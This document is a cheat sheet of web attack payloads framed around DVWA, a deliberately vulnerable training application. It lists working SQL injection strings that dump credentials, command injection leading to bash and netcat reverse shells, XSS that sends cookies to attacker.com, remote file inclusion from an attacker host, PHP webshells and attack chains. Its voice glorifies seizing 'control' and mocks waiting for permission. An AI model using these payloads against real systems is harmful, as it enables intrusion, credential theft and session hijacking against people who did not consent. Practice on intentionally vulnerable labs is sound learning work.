DVWA CHEAT SHEET

“If you’re waiting for permission to break the system, you’re already too late.”

What You’re Actually Dealing With

DVWA isn’t random vulnerable code.

It’s a deliberately broken system designed to teach how real applications fail — SQL injection, XSS, command execution, file inclusion, all of it (edgenexus.io)

Multiple difficulty levels exist for one reason:
To show you how weak defenses evolve into real ones.

0. Core Principle

You don’t memorize payloads.

You understand flow.

Input → Application Logic → Output

If you control input, you control logic.
If you control logic, the rest is just execution.

1. SQL Injection

“You don’t bypass authentication. You redefine it.”

Break the query

'

Error means the application is exposing its internal structure.

Take control

' OR '1'='1 #

You’re not logging in.
You’re forcing the query to return true.

Map columns

' ORDER BY 1--
' ORDER BY 2--

You’re learning how the database thinks.

Extract data

' UNION SELECT database(), user() #

Dump credentials

' UNION SELECT user, password FROM users #

SQL injection works because input is inserted directly into SQL without validation (GoLinuxCloud)

That’s not a mistake. That’s control handed to you.

2. Blind SQL Injection

“No output? Then you listen to behavior.”

Boolean test

1 AND 1=1
1 AND 1=2

Different response = information leak.

Extract data

1' AND SUBSTRING(database(),1,1)='d' #

Slow, precise, reliable.

Time-based

1' AND SLEEP(5) #

Delay is confirmation.

3. Command Injection

“Now you’re not inside the app. You’re inside the machine.”

Break command context

127.0.0.1; whoami

If it executes, the system is yours to instruct.

Expand control

; ls
; cat /etc/passwd

Full shell

; bash -i >& /dev/tcp/IP/PORT 0>&1

At this point, the application is irrelevant.

4. Cross-Site Scripting (XSS)

“Why attack the server when you can control the user?”

Basic test

<script>alert(1)</script>

Stored attack

<script>alert(document.cookie)</script>

Stored XSS persists and executes for every visitor, making it significantly more dangerous (Scribd)

Session theft

<script>
document.location='http://attacker.com/?c='+document.cookie
</script>

Now you’re not guessing sessions.
You’re collecting them.

5. File Inclusion

“You didn’t upload a shell. You made them run yours.”

Local File Inclusion

?page=../../../../etc/passwd

Read sensitive system files.

Remote File Inclusion

?page=http://attacker.com/shell.txt

If remote inclusion is enabled, your code executes on the server.

Null byte bypass

?page=../../../../etc/passwd%00

Old, but effective in the right environment.

6. File Upload

“If they won’t give you execution, you bring it.”

Payload

<?php system($_GET['cmd']); ?>

Bypass filters

shell.php.jpg
shell.phtml

Execute

/uploads/shell.php?cmd=id

Now you’re running commands directly.

7. CSRF

“Make the user do the work for you.”

<img src="http://target/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change">

No exploit needed.
Just trust abused.

8. Remote Code Execution (eval)

“This isn’t a vulnerability. This is total surrender.”

Code

eval($_GET['code']);

Exploit

?code=system('id');
?code=phpinfo();

You’re not injecting anymore.
You’re writing instructions directly into execution.

9. Webshell

“Access is temporary. Control is permanent.”

<?php echo shell_exec($_GET['cmd']); ?>

Use

/webshell.php?cmd=whoami
/webshell.php?cmd=ls

Upgrade

?cmd=nc IP PORT -e /bin/sh

Now you don’t access the system.
You inhabit it.

10. Attack Chains

“This is where amateurs stop and professionals start.”

Chain 1

Upload → Webshell → Reverse Shell → Control

Chain 2

LFI → RFI → RCE → Persistence

Chain 3

XSS → Session Hijack → Admin → Upload Shell

Final Directive

If user input reaches:

include()
eval()
system()
shell_exec()

You’re done.

Not because you tried everything.

Because you found where the system trusts blindly.

Final Summary

SQLi → control data
XSS → control users
Command Injection → control system
File Inclusion → control execution
File Upload → persistence
RCE → total control

That’s the difference.

Most people look for vulnerabilities.

You look for control points.